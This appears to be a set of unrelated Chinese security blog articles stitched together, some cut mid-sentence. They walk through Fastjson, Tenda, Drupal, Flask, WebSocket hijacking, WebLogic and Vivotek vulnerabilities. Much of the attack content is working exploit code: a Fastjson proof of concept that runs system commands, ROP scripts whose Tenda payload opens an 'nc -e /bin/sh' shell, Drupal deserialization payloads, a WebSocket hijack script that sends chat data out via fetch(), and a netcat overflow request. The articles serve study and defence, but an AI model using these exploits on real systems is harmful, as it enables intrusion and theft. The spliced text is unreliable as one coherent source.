Fastjson 代码执行 CVE-2022-25845
漏洞简介
Fastjson 代码执行漏洞,该漏洞允许攻击者绕过 Fastjson 中的"AutoTypeCheck"机制并实现远程代码执行
影响版本:1.2.80及以下版本,即<= 1.2.80
漏洞复现
我们利用 idea 创建 maven 项目 搭建漏洞环境,在 pom 文件中添加
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.82</version>
</dependency>
创建文件夹 com.example.fastjson
在下面添加两个 java 文件
package com.example.fastjson;
import java.io.IOException;
public class Poc extends Exception {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
package com.example.fastjson;
import com.alibaba.fastjson.JSON;
public class PocDemo {
public static void main(String[] args) {
String json = "{\"@type\":\"java.lang.Exception\",\"@type\":\"com.example.fastjson.Poc\",\"name\":\"calc\"}";
JSON.parse(json);
}
}
运行 PocDemo
漏洞分析
AutoType
我们知道在 fastjson 1.2.25 后设定了 https://github.com/alibaba/fastjson/wiki/enable_autotype 只有打开 autoType之后,fastjson 是基于内置黑名单来实现安全的,如此可能会造成安全风险,就是绕过https://github.com/LeadroyaL/fastjson-blacklist?_gl=1*1ucxjwe*_ga*MjEyMjY1NzU2My4xNjU3ODUyMDU3*_ga_SQ1NR9VTFJ*MTY1ODIxMjQxMy40LjEuMTY1ODIxMjQ2My4xMA..
不开启时,是基于白名单进行防护的,这个漏洞的产生就是未开启 autoType 时产生的。
但是未开启 autoType 时是基于白名单,是很难实现代码执行的,所以我们就需要想办法 Bypass AutoType 默认禁用策略,可以实现调用任意类
开启 autoType 后,最终调用的是 config.checkAutoType
com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)
其中声明了各种被黑名单列入的类,是通过十六进制来记录各种类,可以在 https://github.com/LeadroyaL/fastjson-blacklist?_gl=1*frgjs5*_ga*MjEyMjY1NzU2My4xNjU3ODUyMDU3*_ga_SQ1NR9VTFJ*MTY1ODIxMjQxMy40LjEuMTY1ODIxMjQ2My4xMA..,看到具体类的名称
Throwable
我们注意到在 com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze 中也同样调用了 checkAutoType
同时我们可以发现在 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会检测目标类中是否属于Throwable 的扩展,之后就会调用 ThrowableDeserializer.deserialize()
所以初步得出结论,如果目标类属于 Throwable 的扩展类,就可以实现打开autoType的类似操作,去调用任何类
为了验证这个猜测,我们修改一下文件
package com.example.fastjson;
import java.io.IOException;
public class Poc extends Error {
public void setName(String str) {
try {
Runtime.getRuntime().exec(str);
} catch (IOException e) {
e.printStackTrace();
}
}
}
依然可以利用成功
继续关注函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 会调用 createException 去创建反序列化函数
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#createException
最后还是在函数 com.alibaba.fastjson.parser.ParserConfig#getDeserializer(java.lang.Class<?>, java.lang.reflect.Type) 中实现了代码执行
如此整个漏洞就分析完成了
漏洞修复
官方提供了以下四种https://github.com/alibaba/fastjson/wiki/security_update_20220523
● 升级到最新版本1.2.83
● safeMode加固
● 升级到fastjson v2
● noneautotype版本
总结反思
整个漏洞的分析花了很多时间,根据参考文章 https://jfrog.com/blog/cve-2022-25845-analyzing-the-fastjson-auto-type-bypass-rce-vulnerability/ 来来回回加断点调试了很久。对这个漏洞做一个自己的总结。在默认未开启 AutoType 时,Fastjson 是基于白名单的获取外部类,通过 搜索checkAutoType 发现ThrowableDeserializer#deserialze 中的调用,当然也不止这一处,只是这处能进一步的利用,通过满足类属于 Throwable 的扩展类就可以触发,最后实现代
ARM PWN基础教程
一、前言
在CTF比赛中,我们所能接触到的大部分都是x86 x86_64架构的题目,而在我开始接触IOT方向的研究以后发现智能设备所用到的则是ARM和MIPS架构为主。本篇文章在介绍前置知识的基础上通过CTF的ARM架构类型题带读者更好的入门ARM PWN的世界。
二、前置知识
指令集
Intel和ARM之间的区别主要是指令集,Intel采用复杂指令集而ARM则是精简指令集,精简指令集通过减少每条指令的时钟周期来缩短执行时间可以更快的执行指令,但因为指令较少因此在实现功能时会显得比Intel冗长。
寄存器
寄存器是ARM架构的一个重点,在x86架构上指令可以直接对内存的数据进行操作,而在ARM架构中必须将内存的数据放入寄存器中再进行操作。而寄存器的数量取决于ARM的版本,而ARM32架构下共30个寄存器:
R0在常规操作中可用于存储临时值,也可以用于存储函数的第一个参数或返回结果
在ARM架构中约定指定函数前四个参数存储在R0~R3寄存器中
R7寄存器在函数调用中负责存储系统调用号
R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用
R13寄存器SP(堆栈指针)指向堆栈的顶部
R14寄存器LR(链接寄存器)在进行函数调用时,LR寄存器内保存调用函数的下一条指令地址,用于被调用函数(子函数)结束工作后返回调用函数(父函数)
R15寄存器PC(程序计数器)类似于X86架构下的EIP寄存器负责保存目标地址,与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。
ARM指令
这里引用 eack师傅在ARM基础知识PPT中所列出指令的表格,在有了X86架构的基础后去看下面这些指令还是很好理解的。
指令功能指令功能MOV移动数据EOR按位异或MVN移动数据并取反LDR加载ADD加法STR存储SUB减法LDM加载多个MUL乘法STM存储多个LSL逻辑左移PUSH入栈LSR逻辑右移POP出栈ASR算术右移B跳转ROR右旋BLLink+跳转CMP比较BX分支跳转AND按位与BLXLinx+分支跳转ORR按位或SWI/SVC系统调用
这里需要单独介绍一下LDR和STR两个指令
LDR用于将某些内容从内存加载到寄存器中,例如LDR R2, [R0]从R0寄存器中存储的内存地址的值读入R2寄存器
STR用于将某些内容从寄存器存储到内存地址中,例如STR R2, [R1]从R2寄存器中将值存储到R1寄存器中的内存地址中
三、例题讲解
这里以jarvisoj 的 typo 例题进行讲解,题目可通过下方链接获得
https://github.com/ctf-wiki/ctf-challenges/blob/master/pwn/arm/jarvisOJ_typo/typo 查看题目保护,arm-32-little架构的静态链接文件未开启PIE和Canary保护,存在NX保护无法同时写入shellcode来getshell
amalll@A-M:~/AM$ checksec pwn
[*] '/home/amalll/AM/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
amalll@A-M:~/AM$ file pwn
pwn: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
因为程序去除了符号表的关系,我们可以使用rizzo插件来恢复符号表,可以从程序中发现system和/bin/sh等关键信息地址,同时在跟随程序流程注意到一处很明显的栈溢出漏洞,getshell所需的条件都满足了。
这边的利用思路就是通过栈溢出漏洞覆盖程序的返回地址,在ARM架构下是覆盖要POP给PC寄存器的地址值,覆盖为一段可以同时控制R0和PC寄存器的GADGET,因为在ARM架构下函数约定R0寄存器作为函数的第一个参数存储,所以我们可以控制R0寄存器指向/bin/sh地址,PC寄存器指向system函数的地址,即可GetShell。
+-------------+
| "a" * 112 |
+-------------+
| pop_gadget | <- return address
+-------------+
| /bin/sh |
+-------------+
| 0 |
+-------------+
| system_addr |
+-------------+
思路确定后,接下来就是具体的实现步骤,首先是栈溢出的偏移是多少,这里我们可以使用QEMU配合gdb-multiarch来得到栈溢出的偏移,首先用qemu-user启动二进制程序
qemu-arm-static -g 1234 -L . ./pwn
然后启动gdb-multiarch,执行远程连接命令即可开始动调,后面的操作方式和x86架构的相同,使用cyclic生成过长字符然后通过溢出覆盖字符串确定偏移
最后确定偏移为112,这里需要注意的是在ARM架构中如果跳转的地址为奇数时会进入Thumb模式,进入Thumb模式后地址的最低位会从1变成0,所以如果通过此方法算出的地址值有错误时,可以通过查看$cpsr寄存器的低第六位值是否为1来判断程序是否发生模式切换,而此处程序并未发生模式切换,所以最终我们的偏移就是112。
确定了偏移后,还需要一个可以同时可以控制R0和PC的gadget,这里使用ropper在程序中搜索到如下的一段gadget
0x00020904: pop {r0, r4, pc};
EXP
from pwn import *
p = process(['qemu-arm-static',"-L", "./", "./pwn"])
pop_r0_r4_pc = 0x00020904
system = 0x000110B4
sh = 0x006C384
payload = 'a'*112+p32(pop_r0_r4_pc)+p32(sh)+p32(0)+p32(system)
p.sendafter("Input ~ if you want to quit", "\n")
p.send(payload)
p.interactive()
四、实战演示
这边以CVE-2022-30476为例进行实战arm栈溢出利用演示,关于固件仿真的部分内容在复现Tenda 2018年的cve漏洞时就有所介绍这边就不过多赘述,这边还是以实际情况的漏洞复现为主。 web服务在获取firmwallEn参数时未进行边界检测直接将参数值通过strcpy函数赋予dest变量,从而造成栈溢出漏洞。
我们通过cyclic测得栈溢出偏移为44,这里就涉及到我们刚才所说的Thumb模式切换的问题,实际的溢出偏移应为48。随后我们可以使用vmmap命令查看qemu-user的内存布局,可以得到libc库的基地址。 这边需要特别说明一下,新版本的pwndbg中关于qemu的兼容性较差,所以只能采用旧版本的插件进行内存布局查看。
与我们在ctf例题中所阐述的ROP构造思路相同,这里也是需要寻找能同时控制r0和pc两个寄存器的gadget,很幸运的是此次寻找的gadget并未以\x00结尾
凑齐所有的利用条件后,编写EXP对webserver服务进行栈溢出攻击
import requests
from pwn import *
url = 'http://192.168.2.1/goform/SetFirewallCfg'
libc = ELF("./lib/libc.so.0")
base = 0xff592000
system = base+libc.sym['system']
pop_r0_pc = base+0x0003db80 # pop {r0, pc};
stack = 0xfffef2c0
pl = 'a'*48+p32(pop_r0_pc)+p32(stack)+p32(system)
pl+= 'nc -lp 8888 -e /bin/sh;\x00'
data = {'firewallEn':pl}
requests.post(url, data=data)
推荐实验:
https://www.yijinglab.com/expc.do?ce=682a3471-bce7-4d12-b9db-b25df36b1246
Flask send_file函数导致的绝对路径遍历
平时接触到的 python 项目并不多,对 python 的代码审计更是没有接触,偶然朋友发来了一个漏洞 Flask send_file函数导致的绝对路径遍历 ,感觉打开了新世界的大门,于是就以一个初学者的角度,进行复现分析一下。详情也可以根据 https://github.com/github/securitylab/issues/669 进行分析学习
send_file 的妙用
在以 flask 框架开发的系统中,为了直接实现用户访问某一个 URL 时就可以下载到文件,我们就使用 send_file 来实现
from flask import Flask
from flask import send_file
app = Flask(__name__)
@app.route('/download')
def downloadFile():
path = "test.txt"
return send_file(path)
if __name__ == '__main__':
app.run()
我们看到 如此运行的效果是直接返回了文件的内容,浏览器并没有识别成一个文件下载下来。
要想让浏览器识别成为文件下载的话,只需要加上 as_attachment=True
from flask import Flask
from flask import send_file
app = Flask(__name__)
@app.route('/download')
def downloadFile():
path = "test.txt"
return send_file(path, as_attachment=True)
if __name__ == '__main__':
app.run()
当下载的文件名是中文时
from flask import Flask
from flask import send_file
app = Flask(__name__)
@app.route('/download')
def downloadFile():
path = "测试.txt"
return send_file(path, as_attachment=True)
if __name__ == '__main__':
app.run()
Content-Disposition:
https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Disposition在常规的 HTTP 应答中,Content-Disposition 响应头指示回复的内容该以何种形式展示,是以内联的形式(即网页或者页面的一部分),还是以附件的形式下载并保存到本地。其可以是inline(默认值,所以可以不指定)或者是attachment,attachment表示附件,浏览器看到这个值一般会弹出一个保持文件的确认框,或者像chrome直接下载。
漏洞分析
漏洞的触发是在 send_file 中,我们跟进看一下
flask.helpers.send_file
继续跟进查看
werkzeug.utils.send_file
我们在本地构造一个简单的语句进行尝试
>>> import os.path
>>> _root_path = "path/to/mySafeStaticDir"
>>> path_or_file = "/../../../../../../../etc/passwd"
>>> os.path.join(_root_path,path_or_file)
'/../../../../../../../etc/passwd'
我们发现 os.path.join 使用不受信任的输入调用时不安全的。当 os.path.join 调用遇到绝对路径时,它会忽略在该点之前遇到的所有参数并开始使用新的绝对路径。当参数可控时,我们控制恶意参数输入绝对路径,os.path.join 会完全忽略静态目录。所以,当 os.path.join 来获取来自 flask.send_file 的不受信任的输入时,可能会目录遍历攻击。
漏洞复现
我们在本地构造简单的代码进行测试,获取从外部传入的参数 filename
from flask import Flask, request
from flask import send_file
app = Flask(__name__)
@app.route('/download')
def downloadFile():
filename = request.args.get('filename')
return send_file(filename, as_attachment=True)
if __name__ == '__main__':
app.run()
通过控制 filename 为绝对路径,就实现了目录穿越漏洞
总结反思
这个漏洞非常的有趣,漏洞的修复是可以使用flask.safe_join加入不受信任的路径或用flask.send_file调用替换flask.send_from_directory调用。
这个漏洞虽然很简单,但是在 github 上很多用 python 开发的项目都用了这个函数,如果不加以修复,会造成很大的危害。
浅析websocket劫持
声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。
WebSocket劫持漏洞导读
WebSocket协议技术
WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与http协议内容本身没有关系。WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手,它在客户端和服务器之间提供了一个基于单 TCP 连接的高效全双工通信信道
websocket是持久化的协议,而http是非持久的
当通信协议从 http://或 https://切换到 ws://或 wss://后,表示应用已经切换到了WebSocket协议通信状态
WebSocket连接的建立需要经过连接请求、握手、连接建立三个步骤,如下图
建立WebSocket连接
WebSocket连接通常是使用客户端JavaScript创建的
var ws = new WebSocket("wss://normal-website.com/chat");
//该`wss`协议建立在一个加密的TLS连接的WebSocket,而`ws`协议使用未加密的连接。
为了建立连接,浏览器和服务器通过HTTP执行WebSocket握手。浏览器发出WebSocket握手请求,如下所示:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
如果服务器接受连接,则它将返回WebSocket握手响应,如下所示:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
此时,网络连接保持打开状态,并且可以用于向任一方向发送WebSocket消息。
请求和响应中 的Connection和Upgrade标头表示这是WebSocket握手
WebSocket安全漏洞
原则上,由于WebSocket涉及多个层面,任何与WebSocket有关的web安全漏洞都有可能出现
• 传输到服务器的用户的输入以不安全方式处理,出现SQL注入或XML外部实体注入等
• 通过WebSockets达到的某些盲洞(blind vulnerabilities)可能仅可使用带外(OAST)技术才能检测到
• 如果攻击者控制的数据通过WebSockets传输到其他应用程序用户,则可能导致XSS或其他客户端漏洞
本文主要讲探讨的是跨站WebSocket劫持漏洞-CSWSH
跨站WebSocket劫持漏洞
什么是跨站WebSocket劫持漏洞
Websocket带来的安全特性在一定程度上缓解了一些特性的攻击,但在日渐发展的攻击方式下,其相关漏洞也不断曝光,其中最常见的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞
我们可以看见WebSocket的链接过程与http是极其相似的,WebSocket协议在握手阶段是基于HTTP的。它在握手期间是没有规定服务器如何验证客户端的身份,因此,服务器需要采用http客户端认证机制来辨明身份,如常见的cookie、http头基本认证等。这就导致了容易被攻击者利用恶意网页伪装用户的身份,与服务器建立WebSocket连接
CSWSH与跨站请求伪造CSRF的漏洞原理极其类似
相较于CSRF漏洞只能发送伪造请求,跨站WebSocket劫持漏洞却可以建立了一个完整的读/写双向通道,且不受同源策略的限制,这在很大意义上都造成了更大的危害和可操作性
跨站WebSocket劫持漏洞可能带来的影响
• 执行伪造成用户的未授权操作
与常规CSRF类似,攻击者可以伪造成用户利用生成的WebSocket通道以执行一些敏感操作
• 检索用户可访问的敏感数据
与常规CSRF不同的时,CSWSH是建立一个可双向交互的通道,当客户端向用户发送敏感数据时,攻击者可以将其拦截并记录得到敏感信息
跨站WebSocket劫持漏洞靶场演示
靶机环境
• 靶场
借助于burpsuite练兵场
https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab• 浏览器环境
edge浏览器
靶场解析
• 点击启动靶场
• 观察发现存在实时聊天界面,观察发现没有CSRF的令牌
• 将代码复制到body
<script>
var ws = new WebSocket('wss://your-websocket-url');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
• wss://your-websocket-url替换成目前url
• https://your-collaborator-url替换成Burp Collaborator Client或自己搭建的Burp Collaborator 服务器
• 可以点击view exploit测试,也可以直接发给攻击方
• 然后在Burp Collaborator Client多poll几下
• 翻看一下得到账号密码
然后我选择再用dnslog验证一遍
确实可以带出数据,执行敏感操作
如何防范跨站WebSocket劫持漏洞
• 校验Origin头
• 双向将WebSocket传输数据视为不可信
• 对WebSocket握手信息进行加密保护
• 硬编码WebSockets终结点的URL
参考文章
• https://portswigger.net/web-security/websockets
• https://zhuanlan.zhihu.com/p/347738547
【漏洞分析】Drupal 远程代码执行(CVE-2017-6920)
前几天在参加 FOFA-攻防挑战赛时,遇到了 Drupal 的盲盒漏洞环境,最终确定漏洞为 CVE-2017-6920 ,但是还是无法 getflag ,因为网上相关参考文章并不是很多,大多都只是简单的复现了,于是就想着对这个漏洞进行一个详细的分析。
漏洞描述
环境搭建
环境的搭建,我们可以选择 p神 的 https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2017-6920 上的环境,我们也可以利用 https://vulfocus.cn/ 的在线环境,或者将镜像拉取下来本地启动。
因为 p 神的环境还需要再进行配置 yaml ,为了方便,我们这里就选择 vulfocus 的镜像来进行复现学习
docker pull vulfocus/drupal-cve_2017_6920:latest
docker ps
访问随机生成的端口 49156 http://127.0.0.1:49156/
漏洞复现
访问登录界面 http://127.0.0.1:49156/user/login
输入账号密码 admin:admin123
登录成功
登陆成功后访问路由 /admin/config/development/configuration/single/import
填写相关参数
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\0GuzzleHttp\\Psr7\\FnStream\0methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
点击 import 触发漏洞
漏洞分析
漏洞存在于 drupal 8.3.3 所以我们下载 存在漏洞的版本 drupal 8.3.3 和修复的版本 drupal 8.3.4 进行对比,发现漏洞位于
core\lib\Drupal\Component\Serialization\YamlPecl.php
我们看到修改的位置有这么一句 // We never want to unserialize !php/object.
就大概可以推测出是在这个地方,以!php/object 为开头时 会产生反序列化漏洞
为了方便进行调试,所以我们换一下 docker 启动时的命令,方便启动后进行 php 远程调试,在配置调试环境时出现了各种问题,本来是在本地搭建 docker 环境进行调试的,但是一直没有成功,所以就采用在虚拟机中搭建 docker 环境,采用远程调试。
docker run -itd -p 80:80 vulfocus/drupal-cve_2017_6920:latest
wget https://xdebug.org/files/xdebug-2.5.5.tgz
docker cp xdebug-2.5.5.tgz 30:/xdebug-2.5.5.tgz
docker exec -it 30 /bin/bash
cd /
tar xvf xdebug-2.5.5.tgz
cd xdebug-2.5.5
phpize
find / -name php-config
`/etc/alternatives/php-config`
`/usr/bin/php-config`
`/var/lib/dpkg/alternatives/php-config`
./configure --enable-xdebug --with-php-config=/usr/bin/php-config
make && make install ==xdebug 被安装到了 /usr/lib/php5/20121212/==
find / -name php.ini
`/etc/php5/cli/php.ini`
`/etc/php5/apache2/php.ini`
vim /etc/php5/apache2/php.ini ==修改 php.ini 文件==
shift + g ==定位到最后一行==
echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php
sudo service apache2 restart
修改php.ini配置文件,在文件中追加以下内容
[Xdebug]
zend_extension=/usr/lib/php5/20121212/xdebug.so;指定Xdebug扩展文件的路径
xdebug.remote_enable=1 ;是否开启远程调试
xdebug.remote_handler=dbgp ;指定远程调试的处理协议
xdebug.remote_mode=req ;可以设为req或jit,req表示脚本一开始运行就连接远程客户端,jit表示脚本出错时才连接远程客户端。
xdebug.remote_host=192.168.222.1 ;指定远程调试的主机名(安装phpstorm的主机ip)
xdebug.remote_port=9001 ;指定远程调试的端口号
xdebug.idekey="PHPSTORM" ;指定传递给DBGp调试器处理程序的IDE Key
xdebug.remote_enable=on;
[Xdebug]
zend_extension=/usr/lib/php5/20121212/xdebug.so;
xdebug.remote_enable=1;
xdebug.remote_handler=dbgp;
xdebug.remote_mode=req;
xdebug.remote_host=192.168.222.1;
xdebug.remote_port=9001;
xdebug.idekey="PHPSTORM";
访问 http://192.168.222.129/phpinfo.php 发现 xdebug 被安装成功
先将代码拷贝出来 docker cp 30:/var/www/html html
利用 PHPSTROM 打开项目代码
File -> Settings -> Languages & Frameworks -> PHP -> Debug
配置 Servers
此处要注意,需要直接指定到网站的目录位置
配置PHP Web Application
配置完成后打开右上角的电话按钮
打开浏览器的插件 Xdebug helper
在 phpinfo 处加载断点,并访问 http://192.168.222.129/phpinfo.php成功加载到断点
之前也配置过 PHP 的远程调试环境,但是在 Docker 里面调试的时候,配置了很久的调试环境,最后才成功,中间出了大大小小无数的问题,遇到的最大的问题是最开始端口一直显示被占用状态,因为我启动 docker 时的命令是 docker run -itd -p 80:80 -p 9001:9001 vulfocus/drupal-cve_2017_6920:latest 我一直认为说这个 9001 端口也要对外映射出来,但是我在调试时发现一直提示端口被占用,百思不得其解,采用百度大法看到了这么一句 不要在docker-compose 中添加 9000 端口 ,我灵机一动,将 -p 9001:9
正式开始调试分析
漏洞的最终触发位置是在
core/lib/Drupal/Component/Serialization/YamlPecl.php::decode
对传入的 参数 $raw 如果可控的话,如果使用!php/object,那么yaml_parse将会以反序列化(unserialize)的形式来进行处理字符串。
我们看在哪里可以调用 YamlPecl.php::decode
core/lib/Drupal/Component/Serialization/Yaml.php::decode
decode 函数中 调用了静态 getSerializer 函数
如果存在 yaml 扩展,$serializer 就使用 YamlPecl 类,之后会调用 YamlPecl 类中的 decode 函数;
如果不存在 yaml 扩展,$serializer 就使用 YamlSymfony 类,之后会调用 YamlSymfony 类中的 decode 函数。 目前的环境是已经安装了 yaml 扩展了,所以我们只需要寻找,可控输入的 Yaml::decode
core/modules/config/src/Form/ConfigSingleImportForm.php::validateForm
如此我们就已经确定了漏洞的触发位置,以及漏洞的入口点,但是距离漏洞的利用成功还差一个 payload
我们已经知道这个漏洞是一个反序列化漏洞,我们就要找出这个系统中存在的反序列化链,针对这个漏洞有两条利用链路,任意命令执行以及任意文件写入
任意命令执行
html\vendor\guzzlehttp\psr7\src\FnStream.php
反序列化这个类造成任意无参数函数执行
<?php
namespace GuzzleHttp\Psr7;
class FnStream {
public function __construct(array $methods)
{
$this->methods = $methods;
// Create the functions on the class
foreach ($methods as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
}
$fn = new FnStream(array('close'=>'phpinfo'));
echo(serialize($fn))
?>
序列化字符串加上yaml的!php/object
!php/object "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:7:\"methods\";a:1:{s:5:\"close\";s:7:\"phpinfo\";}s:9:\"_fn_close\";s:7:\"phpinfo\";}"
任意文件写入
html\vendor\guzzlehttp\guzzle\src\Cookie\FileCookieJar.php
反序列化这个类达到任意文件写入的效果,但是因为这个系统启动并不是 root 权限启动,所以只有在 tmp 目录下写文件的权限
<?php
require __DIR__.'/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$Limerence = new FileCookieJar('/tmp/shell.txt');
$payload = '1';
$data=array(
'Name' => "Limerence",
'Value' => "Limerence",
'Domain' => $payload,
'Expires' => time()
);
$Limerence->setCookie(new SetCookie($data));
echo(addslashes(serialize($Limerence)));
!php/object "O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":4:{s:41:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0filename\";s:14:\"/tmp/shell.txt\";s:52:\"\0GuzzleHttp\\Cookie\\FileCookieJar\0storeSessionCookies\";b:0;s:36:\"\0GuzzleHttp\\Cookie\\CookieJar\0cookies\";a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCoo
漏洞修复
根据对比官方对 drupal 8.3.4 的修补,我们得出 针对低于版本 drupal 8.3.4 的代码中 在 core\lib\Drupal\Component\Serialization\YamlPecl.php 的 decode 函数修改为
public static function decode($raw) {
static $init;
if (!isset($init)) {
ini_set('yaml.decode_php', 0);
$init = TRUE;
}
if (!trim($raw)) {
return NULL;
}
set_error_handler([__CLASS__, 'errorHandler']);
$ndocs = 0;
$data = yaml_parse($raw, 0, $ndocs, [
YAML_BOOL_TAG => '\Drupal\Component\Serialization\YamlPecl::applyBooleanCallbacks',
]);
restore_error_handler();
return $data;
}
总结反思
之前也实现过远程调试,但是对 docker 内的系统进行调试还没有做过,不对的试错过程中,也对 docker 进一步加深的认知与了解。
基于某商产品WeblogicT3反序列化告警流量分析
前言
护网时平时遇到的针对weblogic等中间件漏洞利用以及漏洞扫描的很多,但是我看到某态势的流量的时候发现态势的探针的监测不单单是基于披露的poc或者exp来产生的告警。
这里一万多条告警。
环境搭建
这里我使vulhub复现几个cve来分析流量,这里的目的主要是对比wireshark、科*分析软件和某商安全设备的全流量的数据包告警分析。
cd CVE-2020-14882
docker-compose up -d
docker ps
http://192.168.166.130:7001/console/login/LoginForm.jsp
分析
直接使用wireshark抓包是无法抓取不到数据包的,原因是nat模式下不走网卡,所以这里涉及到了tips就是添加路由
route add 192.168.166.130 mask 255.255.255.255 192.168.0.1
用完删除
route delete 192.168.166.130 mask 255.255.255.255 192.168.0.1
但是此时似乎是没有用的,因为我们在进行漏洞利用的时候走的是http协议,传输层走的是tcp但是依旧是无法看到详细的流量数据。
设置虚拟机为桥接模式,再次尝试获取流量
已成功获取到数据流量。使用命令查看对目标攻击的所有流量
ip.addr==192.168.0.120
追踪一下tcp流
直接追踪t3流量,因为weblogic使用的协议为T3,当然态势内的漏洞监测也是基于t3协议来告警触发的。
上面两部分的内容是客户端和服务端的信息
t3 7.0.0.0
AS:10
HL:19
HELO:12.2.1.3.false
AS:2048
HL:19
MS:10000000
PN:DOMAIN
在使用paylaod的时候会给服务端发送请求,正常情况下我们能够找到的poc或者说exp的工作原理大部分都是基于版本来校验的
当然这里的环境版本为12.2.1.3.0
这里根据不通的流可以看出来。这一点儿的话其实可以根据python脚本的内容也能看出来校验机制,这一点儿跟很多厂商的漏扫的原理应该是一致的。
这里我执行了几条命令,来查看一下流量特征
whoami
ls
pwd
上传的shell.jsp文件做编码
序列化的部分就是在这一部分完成的
回头看一下某报警日志的流量
这里触发规则库的内容是由于探针监测到流量中存在序列化的操作就直接触发了,所以这个时候正常的日志也是会触发漏洞预警。
可能使用wireshark对tcp的交互看着不太清晰,使用科*网络分析
重新抓包
这是所有的攻击日志
可以看到tcp流中数据交互的流量包。
因为这里只显示数据块部分的数据,那么这里可以看到,同样文件上传的时候内容是分块传输的
分作了四个数据块进行传输。
安全设备的告警
上面是tcp部分流量
请求体内容
那么告警行为的触发已经不是基于weblogic正常利用时的流量了,此时只是在tcp的传输阶段就已经拒绝连接了。
思考
安全设备流量监控下的预警以及触发条件是基于全流量还是部分流量以及规则条件产生的,规则库基于POC以及EXP,但是可能不会考虑到是否有完整的利用链,所以用户的体验感就比较难受了。
vivotek栈溢出漏洞复现
一、前言
近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。
二、固件仿真
虚拟机环境:Ubuntu 20.04
gdb版本:GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
固件下载地址:https://github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip
从上面的地址下载还有漏洞的固件,使用binwalk分离出来文件系统,发现问题文件httpd位于/usr/sbin目录下,使用file命令查看文件类型
因为是arm架构的所以没法在本地跑,使用QEMU模拟运行
因为QEMU模拟的环境不会挂载dev和proc,所以我们这边将固件系统的这两个目录挂载到虚拟机的dev和proc中。
sudo mount -o bind /dev ./squashfs-root/dev/
sudo mount -t proc /proc/ ./squashfs-root/proc/
再次运行httpd文件,发现这次报了其他的错误
打开ida定位报错语句的位置,可以看到/etc/conf.d/boa/boa.conf文件打开失败导致的
本地ls查看会发现conf.d是链接到/mnt/flash/etc/conf.d的,并且该目录为空
尝试在其他目录中寻找boa.conf文件,最终在如下的目录找到了它,将此目录下的/etc复制到/mnt/flash/目录下
再次运行httpd文件,发现报了如下错误
老办法通过IDA搜索报错字符串,定位到如下位置,可以发现报错原因是因为此程序中使用gethostname函数将主机名保存在rlimits中,并使用gethostbyname函数通过主机名找到IP地址。但是最终因为我们的主机名与固件中的主机名不同所以无法获取到IP地址。
这里我们可以通过hostname命令查看本机名,然后以我的本机名为例修改squashfs-root/etc/hosts中的内容
echo "127.0.0.1 amall-virtual localhost" > squashfs-root/etc/hosts
修改完成后再次运行httpd文件,可以看到已经成功启动
三、漏洞分析
我们根据poc来验证漏洞
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | netcat -v 127.0.0.1 80
验证成功,可以看到程序崩溃信息。我们根据poc可以了解到漏洞是在Content-Length中出现的,从IDA中搜索字符串然后查看交叉引用定位到漏洞位置所在
根据反汇编的代码我们可以了解到,程序在处理Content-Length字符串的内容时,使用strncpy函数保存从`:`到`\n`之间的字符串,但是可以看到其中并没有对长度进行检测导致了用户可以输入任意长度的字符串造成栈溢出。
四、漏洞复现
在arm的栈溢出中,我们首要考虑的就是如何劫持pc寄存器,而这个偏移可以通过动调获得。
看一下保护,开启了NX保护所以无法利用shellcode,考虑使用ROP来绕过NX保护。
